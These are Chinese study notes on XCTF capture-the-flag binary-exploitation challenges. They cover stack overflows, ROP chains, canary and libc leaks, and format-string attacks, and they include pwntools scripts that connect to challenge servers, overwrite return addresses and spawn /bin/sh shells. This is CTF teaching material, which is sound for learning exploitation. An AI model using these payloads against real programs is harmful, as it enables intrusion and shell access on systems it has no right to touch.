XCTF pwn例题思路整理
侵删
1 .decode("iso-8859-1") 处理报错
2 read() 栈溢出
函数定义:ssize_t read(int fd, void * buf, size_t count);
函数说明:read()会把参数fd所指的文件传送count 个字节到buf 指针所指的内存中。
返回值:返回值为实际读取到的字节数, 如果返回0, 表示已到达文件尾或是无可读取的数据。若参数count 为0, 则read()不会有作用并返回0。
3 write() 泄露函数地址
函数定义:ssize_t write (int fd, const void * buf, size_t count);
函数说明:write()会把参数buf所指的内存写入count个字节到参数fd所指的文件内。
返回值:如果顺利write()会返回实际写入的字节数(len)。当有错误发生时则返回-1,错误代码存入errno中。
4 gets()函数 栈溢出
C 库函数 char *gets(char *str) 从标准输入 stdin 读取一行,并把它存储在 str 所指向的字符串中。当读取到换行符时,或者到达文件末尾时,它会停止。
gets(str) 约等于 scanf("%s",&str) 会把读到的字符串写入数组,但又不同。
scanf("%s",&str) :读到空格便停止。
gets(str) :一直读到敲回车(不管中间是否有空格)。
puts()在输出字符串时会将’\0’自动转换成’\n’进行输出,也就是说,puts方法输出完字符串后会自动换行。
5. memset()函数原型是extern void *memset(void *buffer, int c, int count)
buffer:为指针或是数组,
c:是赋给buffer的值,
count:是buffer的长度.
这个函数在socket中多用于清空数组.如:原型是memset(buffer, 0, sizeof(buffer))
Memset 用来对一段内存空间全部设置为某个字符,一般用在对定义的字符串进行初始化为‘ ’或‘/0’;
6 shift加F12 查看 String(/bin/sh) //寻找现成的调用system函数或者cat flag
7.1 ROP(ELF模块:获取基地址、获取函数地址(基于符号)、获取函数got地址、获取函数plt地址#打开对应的二进制文件)
64位程序在调用system函数时,参数的传递方式和32位不一样,32位是通过栈传参,而64位通过edi寄存器(6个)传参,所以这时我们的思路变成如何覆盖edi的值,通过基本ROP就可以做到,利用程序自己的带有pop edi/rdi;ret语句达到给edi赋值的效果。pop edi语句是将当前的栈顶元素传递给edi,在执行pop语句时,只要保证栈顶元素是”/bin/sh”的地址,并将返回地址设置为system。
使用ROPgadget搜索操作寄存器的函数地址:
ROPgadget --binary 文件名 --only "pop|ret" (| grep rdi)
ret是返回到栈中。那么我们就找到了pop edi/rdi的地址
7.2 在32位程序当中,函数的传递是通过栈来进行传递。
构造shellcode 的方式是
padding+ fake_ebp+p32(system)/elf.symbols['system']+p32
(返回地址/0)+p32(system 的参数)
在64位程序当中,函数的传递是通过寄存器进行传递。在64位程序当中,参数先是找rdi, rsi, rdx, rcx, r8, r9。
构造shellcode的方式是
padding+fake_ebp+p64(pop_rdi_ret)+p64(system的参数)+p64(system)
函数的返回地址被pop_rdi_ret所覆盖,执行的时候 system的参数就进入rdi当中 并且ret执行后面的system
8 from ctypes import *调用C语言动态链接库
/lib/i386-linux-gnu/libc.so.6
这是该库的32位版本.
/lib/x86_64-linux-gnu/libc.so.6
这是该库的64位版本.
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload = 'a' * 0x20 + p64(1).decode()
io.recvuntil('Your name:')
io.sendline(payload)
libc.srand(1)//伪随机 其实是个数列
for i in range(10)://0 1 2 3 4 5 6 7 8 9
num = str(libc.rand()%6+1)
io.recvuntil('number:')
io.sendline(num)
io.interactive()
9 程序把s放到一个al寄存器中,al是一个八位寄存器,八位寄存器对于无符号整数来说是有0~255的范围的。v3为无符号整型,表示s(即你输入的passwd)的长度,可能存在整数溢出。
payload=payload.ljust( ,'a')
10 from pwn import*//寻找可读可写的区域构造
elf=ELF('./cgpwn2')
addr=0x804a080
io.recv()
io.sendline("/bin/sh\x00")
sys_addr=elf.symbols['system']
io.recv()
p=42*'a'+p32(sys_addr)+'a'*4+p32(addr)
11 libc
elf=ELF(文件)
libc=ELF('./libc_32.so.6')
#get func address
write_plt = elf.plt['write']//在PLT表获得解析函数 获取具体地址 覆盖GOT表
write_got = elf.got['write']
main_addr = elf.symbols['main']
payload = padding + p32(0xdeadbeef) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(0xdeadbeef)
# 用于填充栈空间的padding + write的PLT地址 + 关键函数的地址(作为调用write函数后的返回地址) + 给write函数的3个参数
# 3个参数的含义分别是: 标准输入流, 输出的字符串首地址, 输出的字符串长度
# 注意: 通过write_plt调用write和通过write真实地址调用是等价的, GOT在第一次调用write之后, 存的就是write的真实地址了
sh.sendlineafter("Input:\n",payload)
write_got_addr = u32(sh.recv()[:4])
libc_addr = write_got_addr - libc.symbols['write']
sys_addr = libc_addr + libc.symbols['system']
bin_sh_addr = libc_addr + 0x15902b
payload0 = 'A'*0x88 + p32(0xdeadbeef) + p32(sys_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)
12 泄露cannary
p.sendline(str(2))#str输入
p.sendline("%23$p")#泄漏cannary
p.recvuntil("0x")
canary = int(p.recv(16),16)#接收16个字节
(p.recvuntil('battle \n')
canary = int(p.recvline().strip('\n'),16)
#读取输出,去掉\n并表明读)
p.recvuntil("Exit the battle ")
payload = "a"*0x88 + p64(canary) + 0x8*"a" + p64(0x04008DA)
13 泄露libc地址
没有现成的 system 也没有/bin/sh 字符串,也没有提供 libc.so 给我们,那么我们要做的就是想办法泄露 libc 地址,拿到 system 函数和/bin/sh 字符串,我们可以利用 put 来泄露 read 函数的地址,然后再利用 LibcSearcher 查询可能的 libc。
这题 ROP,我们先构造 payload 来执行 puts 函数泄露 read 的地址
popedi是 pop edi这条指令所在的地址,我们可以在二进制文件里查找,发现了地址,然后我们传入 read 的 got 地址,接下来是 popedi 的返回地址,我们设为
putaddr,接下来是 puts 的返回地址,我们设为 mainaddr,这样我们又能重新执行主函数,执行第二次 rop
1. #coding:utf8
2. from pwn import *
3. from LibcSearcher import *
4.
5. elf = ELF('./pwnh5')
6. #x86 都是靠栈来传递参数的 而 x64 换了 它顺序是 rdi, rsi, rdx, rcx, r8, r9, 如果多于 6 个参数 才会用栈
7. readgot = elf.got['read']
8. putaddr = elf.sym['puts']
9. mainaddr = 0x4006B8
10. #pop edi 的地址
11. popedi = 0x400763
12.
13. #sh = process('./pwnh5')
14. sh = remote('111.198.29.45',52630)
15.
16. #这个 payload 用于泄露 read 位于 libc 的地址
17. #pop edi 将 read 的地址加载到 edi 中,用于传给 put 输出显示
18. #mainaddr 为覆盖 eip,这样我们又可以重新执行 main 函数了
19. payload = 'a'*0x48 + p64(popedi) + p64(readgot) + p64(putaddr) + p64(mainadd
r) + 'a'*(0xC8-0x48-32)
20.
21. sh.send(payload)
22.
23. sh.recvuntil('bye~\n')
24.
25.
26. #注意,这步重要,必须要去掉末尾的\n 符号
27. s = sh.recv().split('\n')[0]
28. #凑足长度 8
29. for i in range(len(s),8):
30. s = s + '\x00'
31.
32. #得到 read 的地址
33. addr = u64(s)
34.
35. print hex(addr)
36.
37. #libc 数据库查询
38. obj = LibcSearcher("read",addr)
39.
40. #得到 libc 加载地址
41. libc_base = addr - obj.dump('read')
42.
43. #获得 system 地址
44. system_addr = obj.dump("system") + libc_base
45.
46. #获得/bin/sh 地址
47. binsh_addr = obj.dump("str_bin_sh") + libc_base
48.
49.
50. print hex(system_addr)
51. print hex(binsh_addr)
52.
53. payload = 'a'*0x48 + p64(popedi) + p64(binsh_addr) + p64(system_addr) + 'a'*
(0xC8-0x48-24)
54.
55. sh.send(payload)
56.
57. sh.interactive()
100 脚本模板
100.1 栈溢出
from pwn import *
r = remote("111.198.29.45", 34012) #连接指定IP及端口,题目给定
payload = 'A' * 0x80 + 'a' * 0x8 + p64(0x00400596)#发送数据,输入数据溢出,并覆盖,返回到目标位置
r.recvuntil("字符串") #运行到字符串位置停下
r.sendline(payload) #发送 payload
r.interactive() #交互
100.2.1 格式化字符串
漏洞:printf(&format,&format)
r.recvuntil(“secret[0] is “)
#使接收到的数据 倒序 赋给a1_addr
a1_addr = int(r.recvuntil(”\n”)[:-1], 16)
sh.recvuntil('\'Give me an address\'')
sh.sendline(str(v3_addr))//从地址变成指针
sh.recvuntil('you wish is:')
payload = '%085d' + '%7$n'
输出AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x 找到41414141获取偏移 或者直接 6+1
sh.sendline(payload)
#((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1) ≈call函数 调用v1为指针的函数 执行shellcode read输入shellcode
sh.sendline(asm(shellcraft.amd64.linux.sh(),arch="amd64"))
sh.interactive()
100.2.2 若需满足 x==8的要求
from pwn import *
p = remote()
p.recvuntil("代码中的字符串")
p.send('')
p.recvuntil("代码中的字符串")
payload=p32(溢出点)+"aaaa填充字符串个数%偏移量$n"
p.send(payload)
p.interactive()